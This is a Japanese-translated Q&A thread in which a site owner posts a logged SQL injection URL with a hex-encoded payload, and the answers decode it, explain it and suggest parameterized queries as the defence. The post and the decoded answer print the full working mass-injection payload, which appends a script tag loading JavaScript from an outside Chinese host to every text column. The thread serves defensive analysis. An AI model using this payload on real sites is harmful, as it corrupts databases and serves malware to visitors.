22

ここ数週間、多くの SQL インジェクション攻撃を受けている公開 Web サイトがあります。私はパラメーター化されたストアド プロシージャのみを使用しているため、攻撃が成功したことはないと思いますが、最近のログには興味深い手法が示されています。

わかりやすくするために改行を追加

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET
@S=キャスト(0x4445434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7220435552534F
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528
404046455443485F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

「キャストとEXEC」がやろうとしていることを誰かが明らかにできますか?

4

6 に答える 6

30

以下は、プッシュしようとしていたデコードされた SQL です。

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor
于 2008-10-14T09:45:46.380 に答える
11

このコードは、16 進数から char に解読されると、すべてのデータベース テーブルを通過し、text/char 型のすべての列を選択し、この型の各値の最後に からの悪意のあるスクリプト実行を追加するようhttp://www2.s800qn.cn/csrss/w.jsです。Web サイトに、データベースから取得したテキスト データをエスケープしない場所が少なくとも 1 つある場合、サイトのユーザーは、この悪意のあるスクリプトを自分のマシンで実行します。

于 2008-10-14T09:48:49.900 に答える
7

たとえば、mysql でこれを実行します。

select CAST(0x44...72 AS CHAR(4000)) as a;

そしてあなたは知っているでしょう。Ishmaeel がコードを貼り付けました。

これは SQLserver ワームであり、標的型攻撃ではありません。

于 2008-10-14T09:51:42.983 に答える
5

この攻撃は以前にもあったと思います。<script>データベース内のすべてのテーブルのすべてのフィールドにタグを挿入しようとしています。

于 2008-10-14T09:49:17.810 に答える
3

<script>これは、ページに表示されるタグでデータベースを詰まらせるように構築されたアドウェア ドロッパー スクリプトです。URL を介してジャンクをプッシュしようとすると、ほとんどのサーバーが爆発するため、エンコードされています。

このような攻撃のほとんどは、クエリ文字列で何かを攻撃するという点でランダム試行攻撃ですが、標的型攻撃である可能性があります。サイトをテストして、クエリ文字列からの SQL が実行されていないことを確認します。パラメータ化されたクエリを使用するだけカバーできます。

于 2008-10-14T09:55:15.503 に答える
1

16 進コードを解読する最も単純な Python アルゴリズムは次のとおりです。

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())
于 2008-10-14T09:50:10.367 に答える